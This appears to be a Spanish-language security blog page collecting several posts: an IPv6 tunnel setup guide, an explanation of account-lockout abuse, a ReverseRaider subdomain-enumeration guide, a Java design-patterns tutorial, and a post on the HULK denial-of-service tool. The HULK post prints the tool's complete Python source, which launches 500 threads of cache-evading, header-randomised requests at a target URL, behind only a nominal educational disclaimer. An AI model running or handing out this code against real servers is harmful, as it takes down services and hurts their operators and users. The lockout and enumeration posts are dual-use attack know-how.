Túnel IPv6 sobre IPv4

10:43 0 Comments A+ a-


Primero que nada definamos lo que es un túnel:

Wikipedia:

Cita:
Se conoce como túnel o tunneling a la técnica que consiste en encapsular un protocolo de red sobre otro (protocolo de red encapsulador) creando un túnel de información dentro de una red de computadoras. La técnica de tunelizar se suele utilizar para trasportar un protocolo determinado a través de una red que, en condiciones normales, no lo aceptaría. Otro uso de la tunelización de protocolos es la creación de diversos tipos de redes privadas virtuales.

En el siguiente aporte se va a detallar como hacer para crear un Túnel de IPv6 sobre IPv4, mediante la web https://tunnelbroker.net/ que nos provee Hurricane Electric.


Hurricane Electric además ofrece una certificación de IPv6 como lo menciona Cl0udswX aquí

Vayamos a lo nuestro.

Creación de una cuenta

El requerimiento para poder crear el túnel es estar registrado en la web. Por lo tanto el primer paso es registrarse. Nos va a pedir datos personales como el usuario, nuestro nombre, un mail, el lugar donde vivimos y un teléfono.
Si no ha habido ningún problema nos mostrará el siguiente mensaje:

Cita:
You have successfully registered for Hurricane Electric's free IPv6 tunnelbroker service.
Your account information should be arriving in your email (xxxxxxxxxxxxxx@gmail.com) shortly.

If you have not received your account information within the next few hours, please contact us at ipv6@he.net and include your username in the email.

Y recibiremos en un mail la contraseña.

Creando el túnel

Ya con nuestro usuario y contraseña nos logueamos.
En la parte centrar habrá un panel con las últimas noticias sobre actualizaciones y mantenimiento que se vayan produciendo en los túneles que ofrecen.
Del lado derecho podrán encontrar un conjunto de links sobre temas importantes
Y del lado izquierdo aparecerá un menú sobre la cuenta, que nos permitirá modificar los datos personales anteriormente ingresados y desloguearnos. Y abajo un menú de funciones de usuario, con las opciones Crear túnel regular, Crear túnel BGP y Escáner de puertos para IPv6. En nuestro caso vamos a centrarnos en “Crear túnel regular”.


Para la creación del túnel nos pide los siguientes datos:
  • IPv4, colocamos nuestra IP pública, que es la que nos especifica en el punto de abajo. En caso de colocar alguna IP errónea nos lanza una advertencia con la descripción del problema.
  • Servidor de túnel, tenemos la posibilidad de elegir de una lista amplia de servidores disponibles en diferentes lugares de Asia, Europa y América del Norte.
    
Cada uno elige según le convenga o le guste.
Y por último presionamos Crear Túnel.

Nuevamente si todo fue correcto se nos dirigirá a un nueva pantalla en donde en un primer plano vemos los datos del túnel creado.


Configuración del túnel

Por el momento solo hemos creado el túnel, ahora es necesario configurarlo en nuestra computadora.
La misma página, si ponemos en la solapa “Ejemplo de configuración” nos da la posibilidad de elegir nuestro sistema operativo y proveernos los comandos o pasos necesarios.


Por ejemplo para el caso de Windows no da una serie de comando para poner en consola. Para Ubuntu/Debian te da una serie de linear para agregar al archivo /etc/network/interface.

Testeando el túnel

Para testear nuestra conectividad vamos  a usar la página  http://test-ipv6.com/


Autor: Expermicid

Abuso de funcionalidad - Account lockout attack

15:43 0 Comments A+ a-


Account lockout attack o Ataque para bloqueo de cuenta, un ataque simple pero efectivo, donde se aprovecha la funcionalidad de bloqueo automática a la cuenta del usuario tras numerosos intentos de acceso fallidos. El abuso de esta funcionalidad en manos de un atacante podría provocar serios problemas.


Como se hace?


Sencillo… intentamos acceder con el nombre de usuario de la víctima al sistema muchas veces, hasta activar el sistema de bloqueo de cuenta. ¿Cuántos de ustedes han ingresado mal su propia contraseña intentando recordar cómo era?, hasta que les aparece que su cuenta ha sido bloqueada por seguridad y necesita verificaciones.

Bien, pero esto no queda acá, vamos a echar un poco la imaginación a volar… imaginemos este mismo ataque pero a millones de víctimas en el mismo sistema de logeo, un bloqueo de cuenta masiva. No sólo que van a bloquear todas esas cuentas, sino que también posiblemente estén realizando un ataque DoS (Denial of Service) logrando colapsar el sistema en el máximo de los casos. Ya no solo afectaría a los usuarios sino que estarías logrando un ataque hacia el servidor/web.

Ejemplo real.



Un ejemplo real sucedió en eBay, página de transacciones online reconocida mundialmente, dónde había una subasta y el atacante la queria ganar, pero también había otro usuario legítimo intentando ganarla. Entonces el atacante no oferto más, hasta que faltaban pocos minutos de terminar la subasta, en ese instante el atacante lanza un ataque contra la cuenta de la víctima (ya que en la subasta oculto en el código se veía el user_id del usuario víctima), intentando entrar varias veces logrando bloquear la cuenta de la víctima. El atacante vuelve a entrar a su cuenta y antes de que termine la subasta hace una oferta, como la víctima no podía entrar a su propia cuenta perdió la subasta.


Pablo E. La Rocca.

Hulk, herramientas para probar stress en servidores

9:05 0 Comments A+ a-


La mayoría de las herramientas DoS comparten un problema... crean patrones repetibles, demasiado fáciles de predecir y, por lo tanto, permiten mitigar sus efectos.

HULK (Http Unbearable Load King) es una sencilla herramienta DoS escrita en Python cuyo principal objetivo es generar peticiones únicas para evitar/evadir motores de caché e incidir directamente en la carga del servidor. Las principales técnicas que utiliza son las siguientes:

- Ofuscación del origen: cada petición del cliente se envía con un agente de usuario distinto seleccionado aleatoriamente de una lista.

- Falsificación de referencias: el referer que incluye la petición está ofuscado y apunta hacia el mismo servidor objetivo u otros sitios web conocidos.

- Adhesión: utiliza comandos estándar HTTP para tratar de hacer que el servidor mantenga las conexiones abiertas mediante el uso de Keep-Alive con una ventana de tiempo variable.

- no-cache: se solicita al servidor HTTP no-cache para obtener una página única.

- Transformación de URL única: para evitar la caché y otras herramientas de optimización, se utilizan nombres de parámetros y valores aleatoriamente en cada petición, lo que hace que cada petición sea única y que el servidor tenga que procesarla en cada caso.

Resultados

El autor Barry Shteiman comenta que ha realizado pruebas contra un servidor web con 4GB de RAM y Microsoft IIS7 y fue capaz de tirarlo en menos de un minuto, lanzando todas las peticiones desde un único host.

En las siguientes imágenes se puede ver la herramienta en acción donde, en la primera (#1), se ejecuta contra una URL y a continuación comienza a generar una carga de solicitudes únicas y las envía hacia el servidor objetivo (host de la URL) y, en segundo lugar (#2), podemos ver que el servidor en algún momento empieza a dejar de responder ya que ha agotado su fondo de recursos.






nota: el parámetro opcional "safe" significa matar el proceso cuando los hilos consigan un error 500.

Código: Python
  1. # ----------------------------------------------------------------------------------------------
  2. # HULK - HTTP Unbearable Load King
  3. #
  4. # this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
  5. # to their knees by exhausting the resource pool, its is meant for research purposes only
  6. # and any malicious usage of this tool is prohibited.
  7. #
  8. # author :  Barry Shteiman , version 1.0
  9. # ----------------------------------------------------------------------------------------------
  10. import urllib2
  11. import sys
  12. import threading
  13. import random
  14. import re
  15.  
  16. #global params
  17. url=''
  18. host=''
  19. headers_useragents=[]
  20. headers_referers=[]
  21. request_counter=0
  22. flag=0
  23. safe=0
  24.  
  25. def inc_counter():
  26.     global request_counter
  27.     request_counter+=1
  28.  
  29. def set_flag(val):
  30.     global flag
  31.     flag=val
  32.  
  33. def set_safe():
  34.     global safe
  35.     safe=1
  36.    
  37. # generates a user agent array
  38. def useragent_list():
  39.     global headers_useragents
  40.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  41.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  42.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  43.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  44.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  45.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  46.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  47.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  48.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  49.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  50.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  51.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  52.     return(headers_useragents)
  53.  
  54. # generates a referer array
  55. def referer_list():
  56.     global headers_referers
  57.     headers_referers.append('http://www.google.com/?q=')
  58.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  59.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  60.     headers_referers.append('http://' + host + '/')
  61.     return(headers_referers)
  62.    
  63. #builds random ascii string
  64. def buildblock(size):
  65.     out_str = ''
  66.     for i in range(0, size):
  67.         a = random.randint(65, 90)
  68.         out_str += chr(a)
  69.     return(out_str)
  70.  
  71. def usage():
  72.     print '---------------------------------------------------'
  73.     print 'USAGE: python hulk.py '
  74.     print 'you can add "safe" after url, to autoshut after dos'
  75.     print '---------------------------------------------------'
  76.  
  77.    
  78. #http request
  79. def httpcall(url):
  80.     useragent_list()
  81.     referer_list()
  82.     code=0
  83.     if url.count("?")>0:
  84.         param_joiner="&"
  85.     else:
  86.         param_joiner="?"
  87.     request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  88.     request.add_header('User-Agent', random.choice(headers_useragents))
  89.     request.add_header('Cache-Control', 'no-cache')
  90.     request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  91.     request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
  92.     request.add_header('Keep-Alive', random.randint(110,120))
  93.     request.add_header('Connection', 'keep-alive')
  94.     request.add_header('Host',host)
  95.     try:
  96.             urllib2.urlopen(request)
  97.     except urllib2.HTTPError, e:
  98.             #print e.code
  99.             set_flag(1)
  100.             print 'Response Code 500'
  101.             code=500
  102.     except urllib2.URLError, e:
  103.             #print e.reason
  104.             sys.exit()
  105.     else:
  106.             inc_counter()
  107.             urllib2.urlopen(request)
  108.     return(code)        
  109.  
  110.    
  111. #http caller thread
  112. class HTTPThread(threading.Thread):
  113.     def run(self):
  114.         try:
  115.             while flag<2:
  116.                 code=httpcall(url)
  117.                 if (code==500) & (safe==1):
  118.                     set_flag(2)
  119.         except Exception, ex:
  120.             pass
  121.  
  122. # monitors http threads and counts requests
  123. class MonitorThread(threading.Thread):
  124.     def run(self):
  125.         previous=request_counter
  126.         while flag==0:
  127.             if (previous+100request_counter):
  128.                 print "%d Requests Sent" % (request_counter)
  129.                 previous=request_counter
  130.         if flag==2:
  131.             print "\n-- HULK Attack Finished --"
  132.  
  133. #execute
  134. if len(sys.argv) < 2:
  135.     usage()
  136.     sys.exit()
  137. else:
  138.     if sys.argv[1]=="help":
  139.         usage()
  140.         sys.exit()
  141.     else:
  142.         print "-- HULK Attack Started --"
  143.         if len(sys.argv)== 3:
  144.             if sys.argv[2]=="safe":
  145.                 set_safe()
  146.         url = sys.argv[1]
  147.         if url.count("/")==2:
  148.             url = url + "/"
  149.         m = re.search('http\://([^/]*)/?.*', url)
  150.         host = m.group(1)
  151.         for i in range(500):
  152.             t = HTTPThread()
  153.             t.start()
  154.         t = MonitorThread()
  155.         t.start()

Esta herramienta está pensada para propósitos educativos solamente y no debe ser utilizada para ninguna actividad maliciosa.

Fuentes:
 http://www.sectorix.com/2012/05/17/hulk-web-server-dos-tool/
 http://www.hackplayers.com/2012/05/hulk-una-herramienta-dos-para.html

[ReverseRaider] Enumeración de Dominios y Sub-dominios

8:59 0 Comments A+ a-



INTRODUCCIÓN:


La enumeración de DNS inversa en una IP o un conjunto de IP a veces puede revelar información que antes no se tenía. Puede ser dirigida a un servidor web que tiene un montón de máquinas virtuales y se prefiere rastrear el sitio web principal en el servidor web que es donde reverseraider puede proporcionar los resultados necesarios, ya que es más probable que el sitio más importante de la servidor web virtual tiene configurado DNS inverso en el mismo host. 

¿QUE ES REVERSERAIDER?
ReverseRaider es una herramienta que permite realizar escaneos a un servidor especificado, la cual nos brinda la enumeración de subdominios y dominios. En esta herramienta, se pueden encontrar tres tipos de wordlists, las cuales son:
  • Fast.list 
  • Services.list 
  • Word.list 

UBICACIÓN:
  • Aplicaciones - Backtrack - Information Gathering - Network Analysis - DNS Analysis - reverseraider
  • cd /pentest/enumeration/reverseraider
MODOS DE USO:
  • Para enumerar los dominios por fast.list, ejecutamos el comando ./reverseraider -d site.com -w wordlists/fast.list

  • Para enumerar los dominios por services.list, ejecutamos el comando ./reverseraider -d site.com  -w wordlists/services.list
  • Para enumerar los dominios por word.list, ejecutamos el comando ./reverseraider -d site.com  -w wordlists/word.list


Para ver más opciones disponibles de esta herramienta, simplemente ejecutamos este comando, ./reverseraider
 
Autor: CalebBucker

Patrones de diseño

8:29 0 Comments A+ a-

 
PATRONES DE DISEÑO


CAPÍTULO I

Introducción

Los patrones de diseño son la base para la búsqueda de soluciones a problemas comunes en el desarrollo de software y otros ámbitos referentes al diseño de interacción o interfaces.
Un patrón de diseño resulta ser una solución a un problema de diseño. Para que una solución sea considerada un patrón debe poseer ciertas características. Una de ellas es que debe haber comprobado su efectividad resolviendo problemas similares en ocasiones anteriores. Otra es que debe ser reutilizable, lo que significa que es aplicable a diferentes problemas de diseño en distintas circunstancias.

Los patrones de diseño pretenden:

  • Proporcionar catálogos de elementos reusables en el diseño de sistemas software.
  • Evitar la reiteración en la búsqueda de soluciones a problemas ya conocidos y solucionados anteriormente.
  • Formalizar un vocabulario común entre diseñadores.
  • Estandarizar el modo en que se realiza el diseño.
  • Facilitar el aprendizaje de las nuevas generaciones de diseñadores condensando conocimiento ya existente.


Asimismo, no pretenden:

  • Imponer ciertas alternativas de diseño frente a otras.
  • Eliminar la creatividad inherente al proceso de diseño.


No es obligatorio utilizar los patrones, solo es aconsejable en el caso de tener el mismo problema o similar que soluciona el patrón, siempre teniendo en cuenta que en un caso particular puede no ser aplicable. "Abusar o forzar el uso de los patrones puede ser un error".


PATRÓN ADAPTER


El patrón adapter nos permite ampliar la funcionalidad de una clase o interfaz adaptando objetos que no coinciden con una determinada jerarquía de clases.

Convierte la interfaz de una clase en otra interfaz que el cliente espera. Adapter permite a las clases trabajar juntas, lo que de otra manera no podría hacerlo debido a sus interfaces incompatibles.

Cuándo usarlo:

  • Se desea usar una clase existente, y su interfaz no se iguala con la necesitada.
  • Cuando se desea crear una clase reusable que coopera con clases no relacionadas, es decir, las clases no tienen necesariamente interfaces compatibles.
Problema: Se nos pide adaptar un auto eléctrico a un sistema de abastecimiento de combustible para autos. Siendo que el auto eléctrico, utiliza como combustible la energía eléctrica.

Solución: Utilizar el patrón Adapter para extender la funcionalidad de la interfaz adaptando el auto eléctrico.

Creamos una interfaz llamada Car que representará de forma genérica a un Auto:

Car.java
Código: Java
  1. package org.underc0de.adapter;
  2.  
  3. public interface Car {
  4.  
  5.         void fillTank();
  6.         default void start() {
  7.                 System.out.println("Encendiendo auto...");
  8.         }
  9. }

NOTA: el método start() lo predefinimos porque será el mismo para todos las implementaciones.

Ahora sus implementaciones: GasolineCar y GasCar. Representan un auto a gasolina y otro a gas.

GasolineCar.java
Código: Java
  1. package org.underc0de.adapter;
  2.  
  3. public class GasolineCar implements Car {
  4.  
  5.         public GasolineCar() {
  6.                 super(); // llamada al constructor padre
  7.                 System.out.println("Creando un auto a gasolina...");
  8.         }
  9.        
  10.         @Override
  11.         public void fillTank() {
  12.                 System.out.println("Colocando gasolina...");
  13.         }
  14. }
  15.  

GasCar.java
Código: Java
  1. package org.underc0de.adapter;
  2.  
  3. public class GasCar implements Car {
  4.  
  5.         public GasCar() {
  6.                 super(); // llamada al constructor padre
  7.                 System.out.println("Creando un auto a gas...");
  8.         }
  9.        
  10.         @Override
  11.         public void fillTank() {
  12.                 System.out.println("Colocando gas...");
  13.         }
  14.  
  15. }

Ambos autos, GasolineCar y GasCar necesitan combustible para funcionar. Por eso, el método fillTank llena el combustible de ellos, dependiendo si es gasolina o gas.

Ahora queremos añadir un auto eléctrico a nuestra jerarquía de clases.

ElectricCar.java
Código: Java
  1. package org.underc0de.adapter;
  2.  
  3. public class ElectricCar {
  4.  
  5.         public ElectricCar() {
  6.                 super(); // llamada al constructor padre
  7.                 System.out.println("Creando un auto eléctrico...");
  8.         }
  9.        
  10.         public void connect() {
  11.                 System.out.println("Conectando motor a generador de electricidad...");
  12.         }
  13. }

Nos damos con la sorpresa que éste auto no coincide con nuestra jerarquía. La interfaz Car dice que todos los autos que la implementen deben tener el método fillTank. Pero, ¿Como un auto eléctrico puede llenar el tanque? ¿Cómo hacemos para adaptar éste auto a nuestra jerarquía?

Un error es común es modificar la interfaz o clase abstracta. Ésto viola el principio OCP, el cual nos dice:
Citar
Las entidades de software deben ser abiertas para ser extendidas y cerradas para no ser modificadas.

Aquí toma importancia en patrón Adapter. Éste patrón nos permite ampliar la funcionalidad de una interfaz si tener que cambiar código en ella. Veamos como funciona.

Código: Java
  1. package org.underc0de.adapter;
  2.  
  3. public class ElectricCarAdapter implements Car {
  4.  
  5.         ElectricCar electricCar;
  6.        
  7.         public ElectricCarAdapter() {
  8.                 electricCar = new ElectricCar();
  9.         }
  10.        
  11.         @Override
  12.         public void fillTank() {
  13.                 electricCar.connect();
  14.                
  15.         }
  16.  
  17. }

Como vemos hemos podido adaptar nuestro auto eléctrico a nuestra interfaz Car. ¡Ahora, podemos crear tanto autos a gasolina, gas o eléctricos aplicando polimorfismo!

Veamos que salida nos arroja:

AdapterTest.java
Código: Java
  1. package org.underc0de.adapter;
  2.  
  3. public class AdapterTest {
  4.  
  5.         public static void main(String[] args) {
  6.                 Car gasolineCar = new GasolineCar();
  7.                 gasolineCar.fillTank();
  8.                 gasolineCar.start();
  9.                
  10.                 System.out.println();
  11.                
  12.                 Car gasCar = new GasCar();
  13.                 gasCar.fillTank();
  14.                 gasCar.start();
  15.                
  16.                 System.out.println();
  17.                
  18.                 Car electricCar = new ElectricCarAdapter();
  19.                 electricCar.fillTank();
  20.                 electricCar.start();
  21.         }
  22.  
  23. }

Salida:

Código: [Seleccionar]
Creando un auto a gasolina...
Colocando gasolina...
Encendiendo auto...

Creando un auto a gas...
Colocando gas...
Encendiendo auto...

Creando un auto eléctrico...
Conectando motor a generador de electricidad...
Encendiendo auto...

Y así podemos extender la funcionalidad de nuestra aplicación de forma sencilla y eficiente.


PATRÓN FACADE


Descripción: El patrón fachada viene motivado por la necesidad de estructurar un entorno de programación y reducir su complejidad con la división en subsistemas, minimizando las comunicaciones y dependencias entre éstos.

Cuándo usarlo:

  • Se usa para proporcionar una interfaz sencilla para un sistema complejo.
  • Se quiere desacoplar un subsistema de sus clientes u otros subsistemas, haciéndolo mas independiente y portable.
  • Se quiera dividir los sistemas en niveles: las fachadas serian el punto de entrada a cada nivel.
Pros/contras:

  • + La principal ventaja del patrón fachada consiste en que para modificar las clases de los subsistemas, sólo hay que realizar cambios en la interfaz/fachada, y los clientes pueden permanecer ajenos a ello. Además, y como se mencionó anteriormente, los clientes no necesitan conocer las clases que hay tras dicha interfaz.
  • - Como inconveniente, si se considera el caso de que varios clientes necesiten acceder a subconjuntos diferentes de la funcionalidad que provee el sistema, podrían acabar usando sólo una pequeña parte de la fachada, por lo que sería conveniente utilizar varias fachadas más específicas en lugar de una única global.
Problema: Crear una aplicación que haga tres operaciones bancarias: Crear una cuenta, depositar dinero y retirar dinero. Las operaciones deben hacerse dentro de una sola entidad que las maneje.

Solución: Aplicar el patrón Facade para encapsular todos los objetos que hacen las 3 operaciones.

Bank.java
Código: Java
  1. package org.underc0de.facade;
  2.  
  3. public class Bank {
  4.  
  5.         public Bank() {
  6.                
  7.         }
  8.        
  9.         public void createAccount(String account) {
  10.                 System.out.println("Creando cuenta N° "+account);
  11.         }
  12. }

Deposit.java
Código: Java
  1. package org.underc0de.facade;
  2.  
  3. public class Deposit {
  4.  
  5.         public Deposit() {
  6.                
  7.         }
  8.        
  9.         public void makeDeposit(double amount, String account) {
  10.                 System.out.println("Se ha depositado $"+amount+" a la cuenta "+account);
  11.         }
  12.        
  13. }

Withdrawal.java
Código: Java
  1. package org.underc0de.facade;
  2.  
  3. public class Withdrawal {
  4.  
  5.         public Withdrawal() {
  6.                
  7.         }
  8.        
  9.         public void makeWidthdrawal(double amount, String account) {
  10.                 System.out.println("Se ha retirado $"+amount+" de la cuenta "+account);
  11.         }
  12.        
  13. }

Ahora, creamos nuestra clase principal:

FacadeTest.java
Código: Java
  1. package org.underc0de.facade;
  2.  
  3. public class Facade {
  4.  
  5. public static void main(String[] args) {
  6.  
  7.         Bank bank = new Bank();
  8.         Deposit deposit = new Deposit();
  9.         Withdrawal withdrawal = new Withdrawal();
  10.                
  11.         bank.createAccount("9343435093");
  12.         deposit.makeDeposit(2599.90, "9343435093");
  13.         withdrawal.makeWidthdrawal(699.90, "9343435093");
  14.                        
  15.         }
  16.  
  17. }

Como vemos creamos 3 objetos los cuales se encargan de efectuar las acciones. Pero, ¿es necesario crear éstos tres objetos en éste ambito? ¿Los vamos a necesitar siempre?

Una mejor idea sería encapsular éstos objetos dentro de uno solo que se encargue de realizar todas las operaciones. Éste es el propósito del patrón Facade, actuar como intermediario entre la interfaz y las funcionalidades de un sistema. Veamos como se representa:

OperationsFacade.java
Código: Java
  1. package org.underc0de.facade;
  2.  
  3. public class OperationsFacade {
  4.  
  5.        
  6.         public OperationsFacade() {
  7.         }
  8.        
  9.         public void createAccount(String account) {
  10.                 new Bank().createAccount(account);
  11.         }
  12.        
  13.         public void makeDeposit(double amount, String account) {
  14.                 new Deposit().makeDeposit(amount, account);
  15.         }
  16.        
  17.         public void makeWithdrawal(double amount, String account) {
  18.                 new Withdrawal().makeWidthdrawal(amount, account);
  19.         }
  20.        
  21. }

Como podemos observar, ésta clase encapsula el comportamiento de las clases Bank, Deposit y Withdrawal. Ya no tenemos que declarar los objetos porque éstos se crean en los métodos de OperationsFacade y se destruyen al finalizar el mismo. ¡Además ahorramos memoria!

Ahora, veamos como queda la clase principal:

FacadeTest.java
Código: Java
  1. package org.underc0de.facade;
  2.  
  3. public class FacadeTest {
  4.  
  5.         public static void main(String[] args) {
  6.                 OperationsFacade facade = new OperationsFacade();
  7.                 facade.createAccount("9343435093");
  8.                 facade.makeDeposit(2599.90, "9343435093");
  9.                 facade.makeWithdrawal(699.90, "9343435093");
  10.         }
  11.  
  12. }

Como podemos ver, solo necesitamos de un objeto OperationsFacade para realizar todas las operaciones. Así aplicamos también el principio KISS (Keep it simple stupid!).

Salida:

Código: [Seleccionar]
Creando cuenta N° 9343435093
Se ha depositado $2599.9 a la cuenta 9343435093
Se ha retirado $699.9 de la cuenta 9343435093


PATRÓN ABSTRACT FACTORY


Descripción: El patrón Abstract Factory nos permite crear, mediante una interfaz, conjuntos o familias de objetos (denominados productos) que dependen mutuamuente y todo esto sin especificar cual es el objeto concreto.

Cuándo usarlo:

  • Un sistema debe ser independiente de como sus objetos son creados.
  • Un sistema debe ser 'configurado' con una cierta familia de productos.
  • Se necesita reforzar la noción de dependencia mutua entre ciertos objetos.
Pros/contras:

  • + Brinda flexibilidad al aislar a las clases concretas.
  • + Facilita cambiar las familias de productos.
  • - Para agregar nuevos productos se deben modificar tanto las fabricas abstractas como las concretas.
Problema: Se nos pide crear animales de X tipo sin especificar cuál es el objeto en concreto.

Solución: Utilizar el patrón Abstract Factory para crear los objetos solicitados.

Primero, creamos una clase abstracta llamada Animal que representará de forma genérica a un Animal:

Animal.java
Código: Java
  1. package org.underc0de.factory;
  2.  
  3. public abstract class Animal {
  4.  
  5.         protected String type;
  6.         protected String family;
  7.         protected String habitat;
  8.        
  9.         public Animal(String type, String family, String habitat) {
  10.                 this.type = type;
  11.                 this.family = family;
  12.                 this.habitat = habitat;
  13.         }
  14.        
  15.         public String getType() {
  16.                 return type;
  17.         }
  18.        
  19.         public void setType(String type) {
  20.                 this.type = type;
  21.         }
  22.  
  23.         public String getFamily() {
  24.                 return family;
  25.         }
  26.  
  27.         public void setFamily(String family) {
  28.                 this.family = family;
  29.         }
  30.  
  31.         public String getHabitat() {
  32.                 return habitat;
  33.         }
  34.  
  35.         public void setHabitat(String habitat) {
  36.                 this.habitat = habitat;
  37.         }
  38.  
  39.         @Override
  40.         public String toString() {
  41.                 return "Tipo de animal: "+getType()+"\nFamilia: "+getFamily()+
  42.                                 "\nHábitat: "+getHabitat();
  43.         }
  44. }
  45.  

Y tres animales que extienden de Animal:

Dog.java
Código: Java
  1. package org.underc0de.factory;
  2.  
  3. public class Dog extends Animal {
  4.  
  5.         public Dog(String type, String family, String habitat) {
  6.                 super(type, family, habitat);
  7.         }
  8.  
  9. }

Shark.java
Código: Java
  1. package org.underc0de.factory;
  2.  
  3. public class Shark extends Animal {
  4.  
  5.         public Shark(String type, String family, String habitat) {
  6.                 super(type, family, habitat);
  7.         }
  8.  
  9.  
  10. }

Lion.java
Código: Java
  1. package org.underc0de.factory;
  2.  
  3. public class Lion extends Animal {
  4.  
  5.         public Lion(String type, String family, String habitat) {
  6.                 super(type, family, habitat);
  7.         }
  8.  
  9.  
  10. }

Bien, ya tenemos nuestros 3 tipos de animales que heredan de Animal: Dog, Shark y Lion. Como la tarea es construir objetos sin especificar de qué tipo son, creamos una fábrica abstracta que especifica la creación de un Animal genérico sin especificar de qué tipo:

AbstractAnimalFactory.java
Código: Java
  1. package org.underc0de.factory;
  2.  
  3. public interface AbstractAnimalFactory {
  4.  
  5.         Animal createAnimal();
  6. }

Ahora, el siguiente paso es hacer las implementaciones de ésta fábrica abstracta, es decir las fábricas concretas que crearán los objetos concretos:

DogFactory.java
Código: Java
  1. package org.underc0de.factory;
  2.  
  3. public class DogFactory implements AbstractAnimalFactory {
  4.  
  5.         protected String type;
  6.         protected String family;
  7.         protected String habitat;
  8.        
  9.         public DogFactory(String type, String family, String habitat) {
  10.                 this.type = type;
  11.                 this.family = family;
  12.                 this.habitat = habitat;
  13.         }
  14.        
  15.         @Override
  16.         public Animal createAnimal() {
  17.                 return new Dog(type, family, habitat);
  18.         }
  19.  
  20. }

SharkFactory.java
Código: Java
  1. package org.underc0de.factory;
  2.  
  3. public class SharkFactory implements AbstractAnimalFactory {
  4.  
  5.         protected String type;
  6.         protected String family;
  7.         protected String habitat;
  8.        
  9.         public SharkFactory(String type, String family, String habitat) {
  10.                 this.type = type;
  11.                 this.family = family;
  12.                 this.habitat = habitat;
  13.         }
  14.        
  15.         @Override
  16.         public Animal createAnimal() {
  17.                 return new Shark(type, family, habitat);
  18.         }
  19.  
  20. }

LionFactory.java
Código: Java
  1. package org.underc0de.factory;
  2.  
  3. public class LionFactory implements AbstractAnimalFactory {
  4.  
  5.         protected String type;
  6.         protected String family;
  7.         protected String habitat;
  8.        
  9.         public LionFactory(String type, String family, String habitat) {
  10.                 this.type = type;
  11.                 this.family = family;
  12.                 this.habitat = habitat;
  13.         }
  14.        
  15.         @Override
  16.         public Animal createAnimal() {
  17.                 return new Lion(type, family, habitat);
  18.         }
  19.  
  20. }

Analicemos un poco el código. Cada una de las implementaciones de AbstractAnimalFactory especifican la implementación que tendrá para crear un tipo de animal.

Cada factoría concreta, tiene las 3 propiedades que necesita cada objeto para poder crearse. Así mismo, dichos datos se pasan como parámetros a su constructor para establecer los valores en las propiedades que se utilizarán para crear una instancia del objeto.

Establece las propiedades:

Código: Java
  1. public LionFactory(String type, String family, String habitat)

Y usa esas mismas propiedades para crear el objeto:

Código: Java
  1. @Override
  2. public Animal createAnimal() {
  3.         return new Lion(type, family, habitat);
  4. }

Finlamente, se sobre-escribe el método de la factoría abstracta createAnimal() para retornar un nuevo objeto de acuerdo al tipo de factoría. Así, la factoría de Perros, creará objetos tipo Perro, la factoría de Tiburones creará objetos tipo Tiburón y la factoría de Leones, crearán objetos tipo León.

Por último, especificamos una Fábrica global que utilizará las 3 fábricas para crear los objetos (Aquí se aplica también el patrón Facade):

AnimalFactory.java
Código: Java
  1. package org.underc0de.factory;
  2.  
  3. public abstract class AnimalFactory {
  4.  
  5.         public static Animal create(AbstractAnimalFactory factory) {
  6.                 return factory.createAnimal();
  7.         }
  8. }

Ésta clase recibe un objeto que implemente la interfaz AbstractAnimalFactory, por lo tanto podrá recibir objetos tipo: DogFactory, SharkFactory y LionFactory. Luego simplemente usa la factoría especificada para crear un animal mediante polimorfismo.

Ahora construyamos nuestra clase principal para probar el funcionamiento del patrón:

FactoryTest.java
Código: Java
  1. package org.underc0de.factory;
  2.  
  3. public class FactoryTest {
  4.  
  5.         public static void main(String[] args) {
  6.                 Animal dog = AnimalFactory.create(new DogFactory("Perro","Caninos","Doméstico"));
  7.                 Animal shark = AnimalFactory.create(new SharkFactory("Tiburón", "Lámnidos", "Mar"));
  8.                 Animal lion = AnimalFactory.create(new LionFactory("León", "Felinos", "Selva"));
  9.                
  10.                 System.out.println(dog.toString());
  11.                 System.out.println();
  12.                 System.out.println(shark.toString());
  13.                 System.out.println();
  14.                 System.out.println(lion.toString());
  15.         }
  16. }

Utilizamos el método estático create() de AnimalFactory que recibe una implementación de la interfaz AbstractAnimalFactory, en éste caso un objeto DogFactory al que se le asignan los valores “Perro”, “Caninos” y “Doméstico” y finalmente AnimalFactory llama al método createAnimal() de DogFactory para crear un animal tipo Dog y devolverlo hacia AnimalFactory que lo devuelve y lo guarda en el objeto 'dog'. El mismo procedimiento es para todas las factorías.

Salida:

Código: [Seleccionar]
Tipo de animal: Perro
Familia: Caninos
